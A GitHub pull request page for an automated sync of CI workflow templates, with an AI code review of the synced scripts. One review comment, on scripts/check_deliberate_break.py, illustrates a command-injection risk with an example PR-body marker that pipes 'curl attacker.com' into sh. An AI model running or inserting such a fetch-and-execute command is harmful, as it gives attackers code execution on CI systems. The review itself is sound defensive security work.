Skip to content

chore: sync workflow templates - #112

Merged
stranske-keepalive[bot] merged 1 commit into
mainfrom
sync/workflows-536a715df8b0
Jun 20, 2026
Merged

stranske-keepalive[bot] merged 1 commit into
mainfrom
sync/workflows-536a715df8b0

Conversation

@stranske

@stranske stranske commented Jun 20, 2026 •

Copy link
Copy Markdown
Owner

Sync Summary

Files Updated

  • agents-81-gate-followups.yml: Gate followups hub - consolidates keepalive and autofix followups
  • agents-73-codex-belt-conveyor.yml: Codex belt conveyor - orchestrates belt worker execution and handles completion
  • agents-guard.yml: Agents guard - enforces agents workflow protections (Health 45)
  • check_deliberate_break.py: Opt-in Gate helper that proves named deliberate-break acceptance tests fail against the base implementation
  • runtime_ac_merge_guard.js: Blocks external merge lanes for PRs that require local Orchestrator runtime acceptance checks
  • gate_summary.py: Gate summary renderer - generates PR gate check summary
  • AGENTS.md: Context file for agents and coding assistants
  • CLAUDE.md: Context file for Claude/AI assistants

Files Skipped

  • pr-00-gate.yml: File exists and sync_mode is create_only
  • ci.yml: File exists and sync_mode is create_only
  • renovate.json: File exists and sync_mode is create_only
  • cross-repo-smoke.yml: File exists and sync_mode is create_only
  • llm_slots.json: None

Review Checklist

  • CI passes with updated workflows
  • No repo-specific customizations were overwritten

Source: stranske/Workflows
Source SHA: deacb8ee2852a7c22fe229645468776f35921628
Template hash: 536a715df8b0
Sync branch: sync/workflows-536a715df8b0
Consumer repo: stranske/Fine-Art-Archive
Manifest: .github/sync-manifest.yml

Summary by CodeRabbit

  • Documentation

    • Added "Critical Evaluator" working stance guidance to agent documentation, emphasizing judgment-first evaluation, transparent objections, and clear confidence reporting.
  • Chores

    • Enhanced PR merge validation with runtime acceptance criteria checks.
    • Added support for deliberate-break acceptance criteria verification.

Automated sync from stranske/Workflows
Template hash: 536a715df8b0

Changes synced from sync-manifest.yml
@stranske stranske added sync Automated sync from Workflows automated Automated sync from Workflows labels Jun 20, 2026
@stranske
stranske temporarily deployed to agent-standard June 20, 2026 01:46 — with GitHub Actions Inactive
@stranske
stranske temporarily deployed to agent-standard June 20, 2026 01:46 — with GitHub Actions Inactive
@stranske
stranske temporarily deployed to agent-standard June 20, 2026 01:47 — with GitHub Actions Inactive
@coderabbitai

coderabbitai Bot commented Jun 20, 2026 •

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

Adds scripts/check_deliberate_break.py for opt-in deliberate-break AC verification (parses PR markdown, runs tests against head and a base snapshot, emits PASS/FAIL verdicts). Extends gate_summary.py with a test_quality_result gate. Adds runtime_ac_merge_guard.js to block auto-merge when runtime-AC labels are present, wired into agents-73 and agents-81 workflows. Updates an action pin in agents-guard.yml and adds a Critical Evaluator stance section to AGENTS.md and CLAUDE.md.

Changes

Deliberate-break test-quality gate

Layer / File(s) Summary
DeliberateBreakSpec model and parsing
scripts/check_deliberate_break.py
Defines verdict constants, regexes, the DeliberateBreakSpec dataclass, explicit deliberate-break: marker parsing, fallback heuristic parsing, and the top-level parse_deliberate_break_spec entry point.
Verification execution and CLI
scripts/check_deliberate_break.py
Adds subprocess/diff helpers, git archive extraction with path-traversal prevention, verify_spec which runs head/base comparisons and classifies verdicts (PASS, FAIL_HOLLOW, FAIL_BROKEN), and the main CLI entry point that writes GitHub outputs and sets the process exit code.
gate_summary.py test_quality_result integration
.github/scripts/gate_summary.py
Adds test_quality_result to SummaryContext, extends _append_job_table and _active_lines to include a test-quality row, normalizes the result in summarize(), adds cancelled/failure branching for the overall state, and reads TEST_QUALITY_RESULT from the environment in build_context.

Runtime AC label-based merge guard

Layer / File(s) Summary
runtime_ac_merge_guard.js — label logic and guard function
.github/scripts/runtime_ac_merge_guard.js
Defines RUNTIME_AC_REQUIRED_LABELS, label name normalization, colon-suffix matching, fetchPullRequestLabels with optional retry, and assertRuntimeAcMergeAllowed which throws a coded Error (runtime_ac_merge_blocked) when runtime AC labels are detected. Exports the full public API.
Guard wired into agents-73 and agents-81 merge steps
.github/workflows/agents-73-codex-belt-conveyor.yml, .github/workflows/agents-81-gate-followups.yml
Adds the guard script to sparse-checkout in both workflows, imports assertRuntimeAcMergeAllowed, and inserts an awaited pre-merge call in each workflow's squash-merge step.

Action pin update and agent docs

Layer / File(s) Summary
agents-guard.yml pin update and AGENTS/CLAUDE.md stance section
.github/workflows/agents-guard.yml, AGENTS.md, CLAUDE.md
Replaces the pinned commit hash for setup-api-client in both trigger paths of agents-guard.yml; inserts a "Working Stance — Critical Evaluator" section at the top of AGENTS.md and CLAUDE.md.

Sequence Diagram(s)

sequenceDiagram
  participant Workflow as agents-73/agents-81 workflow
  participant Guard as assertRuntimeAcMergeAllowed
  participant GitHubAPI as github.rest.issues.listLabelsOnIssue
  participant MergeAPI as github.rest.pulls.merge

  Workflow->>Guard: assertRuntimeAcMergeAllowed({github, core, owner, repo, prNumber})
  Guard->>GitHubAPI: listLabelsOnIssue(owner, repo, prNumber)
  GitHubAPI-->>Guard: label list
  Guard->>Guard: runtimeAcRequirement(labels)
  alt no runtime AC labels
    Guard-->>Workflow: return (allowed)
    Workflow->>MergeAPI: pulls.merge(squash)
  else runtime AC labels present
    Guard-->>Workflow: throw Error(runtime_ac_merge_blocked)
    Note over Workflow: merge not attempted
  end
Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~60 minutes

Possibly related issues

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 8.00% which is insufficient. The required threshold is 80.00%. Write docstrings for the functions missing them to satisfy the coverage threshold.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The PR title 'chore: sync workflow templates' accurately reflects the main change: synchronizing workflow templates from an external repository.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch sync/workflows-536a715df8b0

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions

github-actions Bot commented Jun 20, 2026 •

Copy link
Copy Markdown
Contributor

Workflow state fingerprint for Keepalive Loop Reporter. Do not edit.

@github-actions

github-actions Bot commented Jun 20, 2026 •

Copy link
Copy Markdown
Contributor

Workflow state fingerprint for Agents Gate Followups. Do not edit.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/scripts/runtime_ac_merge_guard.js:
- Around line 63-77: The fetchPullRequestLabels function currently only fetches
one page of labels with per_page: 100, which will miss required runtime-AC
labels if a PR has more than 100 labels. Replace the current single-page fetch
call with the paginate method by using
client.paginate(client.rest.issues.listLabelsOnIssue, params) where params
contains the owner, repo, and issue_number. Update the return statement to
directly return the flattened array from paginate() instead of accessing
response.data, since paginate() returns an array of items rather than a response
object with a data property. This ensures all labels are retrieved regardless of
pagination.

In @.github/workflows/agents-guard.yml:
- Line 114: The setup-api-client action references at two locations are pinned
to a specific commit SHA that diverges from the authoritative source in
stranske/Workflows, which uses `@v1`. Update both uses statements for
setup-api-client from the commit SHA pin
d68de1904bcdbe16bfe2462b73aa18f41f8a0a47 to `@v1` to align with the source
template. If the commit pin is intentional for a specific reason, add an inline
comment above the uses statement documenting the controlled reason for the
deviation. Since this is a synced workflow, ensure any changes are made in the
source template location within stranske/Workflows.

In `@scripts/check_deliberate_break.py`:
- Around line 133-151: The `_run()` function accepts an arbitrary `command`
parameter that originates from user-controlled PR body input (parsed at the call
site around line 91), which is then passed directly to subprocess.run() allowing
execution of any binary. Restrict command execution to a predefined set of
allowed commands or derive the command only from the test_id parameter instead
of accepting arbitrary command input from the PR description. Implement this
validation either by modifying the `_run()` function to only accept specific
predefined commands or by changing the command construction logic at the call
site to ensure commands are built from safe sources like test_id rather than
directly from user input.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro Plus

Run ID: 996d1209-be21-4d9d-84a9-8e31c3b63d7b

📥 Commits

Reviewing files that changed from the base of the PR and between 334ff0f and 5e33121.

📒 Files selected for processing (8)
  • .github/scripts/gate_summary.py
  • .github/scripts/runtime_ac_merge_guard.js
  • .github/workflows/agents-73-codex-belt-conveyor.yml
  • .github/workflows/agents-81-gate-followups.yml
  • .github/workflows/agents-guard.yml
  • AGENTS.md
  • CLAUDE.md
  • scripts/check_deliberate_break.py
🔗 Linked repositories identified

CodeRabbit considers these linked repositories for cross-repo context during reviews:

  • stranske/Workflows (auto-detected)
  • stranske/Template (auto-detected)
📜 Review details
🧰 Additional context used
📓 Path-based instructions (5)
.github/workflows/*.{yml,yaml}

📄 CodeRabbit inference engine (.github/copilot-instructions.md)

startup_failure in GitHub Actions workflows with zero jobs indicates GitHub couldn't parse the workflow; check for invalid YAML syntax, conflicting permissions: blocks on workflow_call reusable workflows, invalid permission scopes, or circular workflow references

Files:

  • .github/workflows/agents-guard.yml
  • .github/workflows/agents-73-codex-belt-conveyor.yml
  • .github/workflows/agents-81-gate-followups.yml
**/.github/workflows/*.yml

📄 CodeRabbit inference engine (AGENTS.md)

Reference reusable workflows with @main unless intentionally pinning to an exact commit SHA for a controlled reason

Files:

  • .github/workflows/agents-guard.yml
  • .github/workflows/agents-73-codex-belt-conveyor.yml
  • .github/workflows/agents-81-gate-followups.yml
.github/workflows/**/*.yml

📄 CodeRabbit inference engine (CLAUDE.md)

Reference reusable workflows with @main by default unless intentionally pinning to an exact commit SHA for a controlled reason.

Files:

  • .github/workflows/agents-guard.yml
  • .github/workflows/agents-73-codex-belt-conveyor.yml
  • .github/workflows/agents-81-gate-followups.yml
.github/workflows/agents-*.yml

📄 CodeRabbit inference engine (CLAUDE.md)

Synced workflows (agents-*.yml), prompts, scripts, and consumer docs are managed through .github/sync-manifest.yml in Workflows and should be fixed in Workflows first, not locally.

Files:

  • .github/workflows/agents-guard.yml
  • .github/workflows/agents-73-codex-belt-conveyor.yml
  • .github/workflows/agents-81-gate-followups.yml
**/*.py

📄 CodeRabbit inference engine (.github/copilot-instructions.md)

For Manager-Database repository: use Prefect 2.x and import schedules from prefect.client.schemas.schedules

Files:

  • scripts/check_deliberate_break.py
🧠 Learnings (1)
📓 Common learnings
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: Evaluate claims, designs, and instructions on the merits before agreeing, including from the orchestrator and users. Lead with the strongest objection when something is wrong, weaker than an alternative, or missing. State confidence and flag uncertainty.
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: Repository-specific configuration and workflow logic should only be carried locally; most workflow logic should live in `stranske/Workflows`
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: For infrastructure work, follow the source-of-truth order: (1) `stranske/Workflows` root docs, (2) `stranske/Workflows/docs/INTEGRATION_GUIDE.md` and `docs/ops/CONSUMER_REPO_MAINTENANCE.md`, (3) consumer sync source in templates, (4) local repo-specific files
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: `ci.yml` and `autofix-versions.env` are repo-specific files and should be edited locally
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: `pr-00-gate.yml` is a create-only standard file that should be kept aligned with the standard gate in `stranske/Workflows` unless the repo has a documented reason to diverge
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: Synced workflows, prompts, scripts, and consumer docs are managed through `.github/sync-manifest.yml` in `stranske/Workflows`; do not edit these locally
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: Before editing local workflow infrastructure, evaluate whether the work belongs in `stranske/Workflows` instead, particularly for changes affecting reusable workflows, agent prompts, routing, keepalive/autofix/verifier behavior, synced workflow files, or synced scripts/docs
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:15.386Z
Learning: Keep `AGENTS.md` materially aligned with `CLAUDE.md`; differences should only be agent-specific execution notes, not different repository rules
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:25.269Z
Learning: Repository workflow logic should live in `stranske/Workflows`, not in the consumer repo. Consumer repos should only carry repo-specific configuration.
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:25.269Z
Learning: Follow this source-of-truth order for infrastructure work: (1) `stranske/Workflows` root docs, (2) integration guides, (3) consumer sync source templates, (4) local repo-specific files.
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:25.269Z
Learning: Before editing local workflow infrastructure, evaluate whether the work belongs in `stranske/Workflows` instead—especially changes affecting reusable workflows, agent prompts, routing, keepalive/autofix behavior, synced files, or synced scripts/docs.
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:25.269Z
Learning: Your role is to act as a critical evaluator: correct judgment over agreement. Evaluate claims, designs, and instructions on merits; flag problems plainly without softening them, and state your confidence levels.
Learnt from: CR
Repo: stranske/Fine-Art-Archive

Timestamp: 2026-06-20T01:47:25.269Z
Learning: Keep `CLAUDE.md` materially aligned with `AGENTS.md`. Differences should only be agent-specific execution notes, not different repository rules.
🪛 ast-grep (0.43.0)
scripts/check_deliberate_break.py

[error] 143-150: Command coming from incoming request
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-20].

(subprocess-from-request)


[error] 159-166: Command coming from incoming request
Context: subprocess.run(
["git", *args],
cwd=cwd,
check=True,
text=True,
capture_output=True,
timeout=timeout,
)
Note: [CWE-20].

(subprocess-from-request)


[error] 190-196: Command coming from incoming request
Context: subprocess.run(
["git", "archive", "--format=tar", base],
cwd=cwd,
check=True,
capture_output=True,
timeout=DEFAULT_TIMEOUT_SECONDS,
)
Note: [CWE-20].

(subprocess-from-request)


[info] 329-329: use jsonify instead of json.dumps for JSON output
Context: json.dumps(_json_result(VERDICT_SKIPPED, reason="no deliberate-break marker"))
Note: Security best practice.

(use-jsonify)


[info] 341-341: use jsonify instead of json.dumps for JSON output
Context: json.dumps(result, sort_keys=True)
Note: Security best practice.

(use-jsonify)


[error] 143-150: Use of unsanitized data to create processes
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-78].

(os-system-unsanitized-data)

🔀 Multi-repo context stranske/Template, stranske/Workflows

Perfect! I now have comprehensive cross-repository context. Let me compile my findings:

Linked repositories findings

stranske/Template

Critical Discovery: The Template repository is currently OUT OF SYNC with the Workflows source

gate_summary.py (Breaking Change):

  • [::stranske/Template::] gate_summary.py line 24: Missing the test_quality_result: str = "skipped" field from SummaryContext class
  • [::stranske/Template::] gate_summary.py: Function signatures do NOT include test_quality_result parameter in _append_job_table() and _active_lines()
  • [::stranske/Workflows::] Workflows source version (line 24, 247, 270) includes this field and all callsites pass it
  • Impact: When Template's workflows sync this update, calling _append_job_table() and _active_lines() with the new signatures (which now require test_quality_result) will fail if any downstream code relies on the old signatures

pr-00-gate.yml (Missing Integration):

  • [::stranske/Template::] .github/workflows/pr-00-gate.yml does NOT set TEST_QUALITY_RESULT environment variable
  • [::stranske/Workflows::] Workflows version (line 642) sets TEST_QUALITY_RESULT: ${{ needs.test-quality.result || 'skipped' }}
  • [::stranske/Workflows::] The test-quality job is defined (line 314+) but Template's pr-00-gate has no matching job definition
  • Impact: When synced, Template will have a new environment variable dependency and a new test-quality job that needs to be coordinated with the gate_summary.py changes

runtime_ac_merge_guard.js (New File):

  • [::stranske/Template::] .github/scripts/runtime_ac_merge_guard.js does NOT exist
  • [::stranske/Workflows::] Source file exists (137 lines, 3567 bytes)
  • [::stranske/Workflows::] templates/consumer-repo/.github/workflows/agents-81-gate-followups.yml (line 1555, 1567, 1736) integrates it: assertRuntimeAcMergeAllowed() is called with merged PR context
  • [::stranske/Template::] .github/workflows/agents-81-gate-followups.yml exists (1777 lines) but does NOT have the merge guard integration
  • Impact: Template's agents-81 workflow will be updated to call a new guard function that blocks merges for runtime-acceptance PRs

check_deliberate_break.py (New File):

  • [::stranske/Template::] scripts/check_deliberate_break.py does NOT exist
  • [::stranske/Workflows::] Source file exists (347 lines, 11192 bytes)
  • [::stranske/Workflows::] templates/consumer-repo/.github/workflows/pr-00-gate.yml (line 348, 350) conditionally calls it: if: ${{ hashFiles('scripts/check_deliberate_break.py') != '' }}
  • [::stranske/Template::] .github/workflows/pr-00-gate.yml does NOT have this check
  • Impact: When synced, Template's pr-00-gate will gain a conditional check for deliberate-break acceptance tests

agents-73-codex-belt-conveyor.yml (Missing):

  • [::stranske/Template::] Workflow does NOT exist in Template
  • [::stranske/Workflows::] Source workflow exists with runtime_ac_merge_guard integration (line 194, 443)
  • Impact: New workflow will be added with merge guard dependency

stranske/Workflows (Source Repository)

All new/updated components exist and are properly integrated:

  • [::stranske/Workflows::] .github/scripts/gate_summary.py (483 lines) includes test_quality_result handling
  • [::stranske/Workflows::] .github/scripts/runtime_ac_merge_guard.js (137 lines) exports assertRuntimeAcMergeAllowed()
  • [::stranske/Workflows::] scripts/check_deliberate_break.py (347 lines) implements deliberate-break verification
  • [::stranske/Workflows::] templates/consumer-repo/.github/workflows/pr-00-gate.yml sets TEST_QUALITY_RESULT environment variable (line 642)
  • [::stranske/Workflows::] .github/sync-manifest.yml declares all three files for consumer syncing
🔇 Additional comments (18)
AGENTS.md (1)

5-8: LGTM!

CLAUDE.md (1)

5-8: LGTM!

.github/scripts/runtime_ac_merge_guard.js (1)

1-60: LGTM!

Also applies to: 62-62, 86-137

.github/workflows/agents-73-codex-belt-conveyor.yml (1)

195-195: LGTM!

Also applies to: 444-444, 456-464

.github/workflows/agents-81-gate-followups.yml (1)

1555-1555: LGTM!

Also applies to: 1567-1567, 1736-1744

scripts/check_deliberate_break.py (8)

1-34: LGTM!


37-47: LGTM!


49-66: LGTM!


69-127: LGTM!


154-167: LGTM!


190-216: LGTM!


219-309: LGTM!


312-347: LGTM!

Note: The static analysis hints suggesting jsonify instead of json.dumps are false positives—jsonify is a Flask function for HTTP responses, not applicable to this CLI script.

.github/scripts/gate_summary.py (5)

12-24: LGTM!


242-257: LGTM!


260-291: LGTM!


294-411: LGTM!


421-448: LGTM!

Comment on lines +63 to +77
async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) {
if (!github || !github.rest || !github.rest.issues) {
throw new Error('GitHub client is required to evaluate runtime AC merge labels.');
}
const call = (client = github) =>
client.rest.issues.listLabelsOnIssue({
owner,
repo,
issue_number: prNumber,
per_page: 100,
});

try {
const response = withRetry ? await withRetry(call) : await call();
return Array.isArray(response && response.data) ? response.data : [];

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🌐 Web query:

Does GitHub REST API endpoint for listing issue/PR labels (issues.listLabelsOnIssue) require pagination beyond per_page: 100 to retrieve all labels?

💡 Result:

Yes, the GitHub REST API endpoint GET /repos/{owner}/{repo}/issues/{issue_number}/labels supports pagination and may require it if an issue has more than 100 labels [1][2][3]. While the API documentation allows for a per_page parameter with a maximum value of 100, it does not guarantee that all labels will be returned in a single request [1][4]. If the number of labels exceeds the per_page limit, the API response will include a link header providing the URL for the next page of results [5]. To retrieve all labels, you must follow these pagination links until no further "next" links are provided [5]. [1][2][3]

Citations:


🏁 Script executed:

#!/bin/bash
# First, verify the file exists and check its size
wc -l .github/scripts/runtime_ac_merge_guard.js 2>/dev/null || echo "File not found"

# Read lines 63-77 to verify the code matches
sed -n '63,77p' .github/scripts/runtime_ac_merge_guard.js

Repository: stranske/Fine-Art-Archive

Length of output: 665


🌐 Web query:

Octokit GitHub Actions client paginate method for listing all issues labels without limit

💡 Result:

To list all issue labels without limit using Octokit, use the octokit.paginate method. This method automatically follows the Link header in GitHub API responses to fetch all available pages, ensuring that no labels are omitted due to default pagination limits [1][2][3]. You can use either the endpoint path or the specific REST endpoint method as the first argument [2][4][5]. Example using the endpoint method: const allLabels = await octokit.paginate(octokit.rest.issues.listLabelsOnIssue, { owner: "owner-name", repo: "repo-name", issue_number: 123, per_page: 100, // Optional: increases items per request, reducing total API calls }); Example using the endpoint path: const allLabels = await octokit.paginate("GET /repos/{owner}/{repo}/issues/{issue_number}/labels", { owner: "owner-name", repo: "repo-name", issue_number: 123, per_page: 100, }); Key implementation details: - Automatic Pagination: octokit.paginate continues requesting until no more pages remain (as indicated by the absence of a rel="next" link header) [2][3][6]. - Efficiency: While you can set per_page to 100 to reduce the number of network requests, the method will still handle all pages automatically regardless of the per_page setting [2][7][6]. - Return Value: Unlike standard octokit.request calls, octokit.paginate returns a single flattened array containing all the items retrieved across all pages [8][3][5]. - Memory Usage: If you are dealing with a massive number of items, you can alternatively use octokit.paginate.iterator to process results page-by-page, which is more memory-efficient [3][4].

Citations:


Paginate label retrieval to prevent false-negative runtime-AC checks.

fetchPullRequestLabels currently reads only one page of labels. If a PR has more than 100 labels, required runtime-AC labels will be missed and merge may be incorrectly allowed.

The fix should use the paginate() method to automatically fetch all label pages. The proposed implementation is correct—use client.paginate(client.rest.issues.listLabelsOnIssue, params) and update the return statement to handle the flattened array directly (since paginate() returns an array, not a response object with a data property).

Proposed fix
 async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) {
   if (!github || !github.rest || !github.rest.issues) {
     throw new Error('GitHub client is required to evaluate runtime AC merge labels.');
   }
-  const call = (client = github) =>
-    client.rest.issues.listLabelsOnIssue({
-      owner,
-      repo,
-      issue_number: prNumber,
-      per_page: 100,
-    });
+  const params = {
+    owner,
+    repo,
+    issue_number: prNumber,
+    per_page: 100,
+  };
+  const call = (client = github) => {
+    if (typeof client.paginate === 'function') {
+      return client.paginate(client.rest.issues.listLabelsOnIssue, params);
+    }
+    return client.rest.issues.listLabelsOnIssue(params);
+  };
 
   try {
     const response = withRetry ? await withRetry(call) : await call();
-    return Array.isArray(response && response.data) ? response.data : [];
+    if (Array.isArray(response)) return response;
+    return Array.isArray(response && response.data) ? response.data : [];
   } catch (error) {
📝 Committable suggestion

‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.

Suggested change
async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) {
if (!github || !github.rest || !github.rest.issues) {
throw new Error('GitHub client is required to evaluate runtime AC merge labels.');
}
const call = (client = github) =>
client.rest.issues.listLabelsOnIssue({
owner,
repo,
issue_number: prNumber,
per_page: 100,
});
try {
const response = withRetry ? await withRetry(call) : await call();
return Array.isArray(response && response.data) ? response.data : [];
async function fetchPullRequestLabels({ github, owner, repo, prNumber, withRetry }) {
if (!github || !github.rest || !github.rest.issues) {
throw new Error('GitHub client is required to evaluate runtime AC merge labels.');
}
const params = {
owner,
repo,
issue_number: prNumber,
per_page: 100,
};
const call = (client = github) => {
if (typeof client.paginate === 'function') {
return client.paginate(client.rest.issues.listLabelsOnIssue, params);
}
return client.rest.issues.listLabelsOnIssue(params);
};
try {
const response = withRetry ? await withRetry(call) : await call();
if (Array.isArray(response)) return response;
return Array.isArray(response && response.data) ? response.data : [];
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/scripts/runtime_ac_merge_guard.js around lines 63 - 77, The
fetchPullRequestLabels function currently only fetches one page of labels with
per_page: 100, which will miss required runtime-AC labels if a PR has more than
100 labels. Replace the current single-page fetch call with the paginate method
by using client.paginate(client.rest.issues.listLabelsOnIssue, params) where
params contains the owner, repo, and issue_number. Update the return statement
to directly return the flattened array from paginate() instead of accessing
response.data, since paginate() returns an array of items rather than a response
object with a data property. This ensures all labels are retrieved regardless of
pagination.

steps.eligibility.outputs.should-run == 'true' &&
steps.api_client_base.outputs.available != 'true'
uses: "stranske/Workflows/.github/actions/setup-api-client@6deed4d3937adab2370b4ddf96046ed295efe68f" # v1
uses: "stranske/Workflows/.github/actions/setup-api-client@d68de1904bcdbe16bfe2462b73aa18f41f8a0a47" # v1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Check Workflows source for the setup-api-client pin and any documented reason

# Search for setup-api-client reference in Workflows templates
git clone https://github.com/stranske/Workflows.git /tmp/workflows-source 2>/dev/null || true

if [ -d /tmp/workflows-source ]; then
  echo "=== Searching Workflows source for setup-api-client references ==="
  rg -n "setup-api-client" /tmp/workflows-source/.github/workflows/ \
    -A 2 -B 2 --type yaml
  
  echo ""
  echo "=== Checking templates/consumer-repo for setup-api-client ==="
  rg -n "setup-api-client" /tmp/workflows-source/templates/consumer-repo/.github/workflows/ \
    -A 2 -B 2 --type yaml 2>/dev/null || echo "Not found in consumer templates"
fi

Repository: stranske/Fine-Art-Archive

Length of output: 50382


🏁 Script executed:

#!/bin/bash
# Get the agents-guard.yml file and check lines 114 and 183
echo "=== agents-guard.yml lines around 114 and 183 ==="
sed -n '110,120p' .github/workflows/agents-guard.yml | cat -n
echo ""
sed -n '179,189p' .github/workflows/agents-guard.yml | cat -n
echo ""
echo "=== Full setup-api-client references in agents-guard.yml ==="
rg -n "setup-api-client" .github/workflows/agents-guard.yml -B 2 -A 2

Repository: stranske/Fine-Art-Archive

Length of output: 3456


🏁 Script executed:

#!/bin/bash
# Check if agents-guard.yml exists in Workflows and its setup-api-client pins
echo "=== Checking Workflows templates for agents-guard pattern ==="
if [ -f ".github/workflows/agents-guard.yml" ]; then
  echo "Found agents-guard.yml in Workflows"
  rg -n "setup-api-client" .github/workflows/agents-guard.yml -B 2 -A 2
else
  echo "agents-guard.yml not found in Workflows root .github/workflows"
fi

echo ""
echo "=== Checking consumer template ==="
if [ -f "templates/consumer-repo/.github/workflows/agents-guard.yml" ]; then
  echo "Found in consumer template"
  rg -n "setup-api-client" templates/consumer-repo/.github/workflows/agents-guard.yml -B 2 -A 2
else
  echo "Not found in consumer template"
fi

Repository: stranske/Workflows

Length of output: 4364


Pin to commit SHA diverges from Workflows source and lacks documented reason.

Lines 114 and 183 pin setup-api-client to d68de1904bcdbe16bfe2462b73aa18f41f8a0a47, but the Workflows source repository uses @v1 instead. The synced consumer template has diverged from the authoritative source. Since this is a synced workflow, the fix must be applied in stranske/Workflows — specifically in templates/consumer-repo/.github/workflows/agents-guard.yml — to align it back with the source (stranske/Workflows/.github/workflows/agents-guard.yml), which correctly uses @v1.

Change both pins to @v1 to match the Workflows source, or if the commit pin is intentional, add an inline comment documenting the controlled reason for the deviation.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/agents-guard.yml at line 114, The setup-api-client action
references at two locations are pinned to a specific commit SHA that diverges
from the authoritative source in stranske/Workflows, which uses `@v1`. Update both
uses statements for setup-api-client from the commit SHA pin
d68de1904bcdbe16bfe2462b73aa18f41f8a0a47 to `@v1` to align with the source
template. If the commit pin is intentional for a specific reason, add an inline
comment above the uses statement documenting the controlled reason for the
deviation. Since this is a synced workflow, ensure any changes are made in the
source template location within stranske/Workflows.

Source: Coding guidelines

Comment on lines +133 to +151
def _run(
command: tuple[str, ...],
cwd: Path,
*,
timeout: int = DEFAULT_TIMEOUT_SECONDS,
) -> subprocess.CompletedProcess[str]:
env = os.environ.copy()
pythonpath = str(cwd)
if env.get("PYTHONPATH"):
pythonpath = pythonpath + os.pathsep + env["PYTHONPATH"]
env["PYTHONPATH"] = pythonpath
return subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | 🏗️ Heavy lift

User-controlled command execution from PR body.

The command parameter parsed from the PR body marker (line 91) can specify arbitrary executables. While shell=False prevents shell metacharacter injection, an attacker can still execute any binary with arguments:

deliberate-break: test=x test-file=y.py break-file=z.py command="/usr/bin/python -c 'import os; os.system(\"curl attacker.com|sh\")'"

In many PR CI configurations, authors can already execute code via test files, so this may be acceptable risk. However, this lowers the barrier from "commit malicious code" to "edit PR description."

Consider restricting to a predefined command set or requiring the test invocation be derived only from test_id:

🛡️ Suggested restriction to pytest-only execution
-        command = tuple(shlex.split(command_text)) if command_text else _pytest_command(test_id)
+        # Custom commands disabled for security; always use pytest
+        if command_text:
+            print(f"Warning: custom command ignored for security; using pytest", file=sys.stderr)
+        command = _pytest_command(test_id)
🧰 Tools
🪛 ast-grep (0.43.0)

[error] 143-150: Command coming from incoming request
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-20].

(subprocess-from-request)


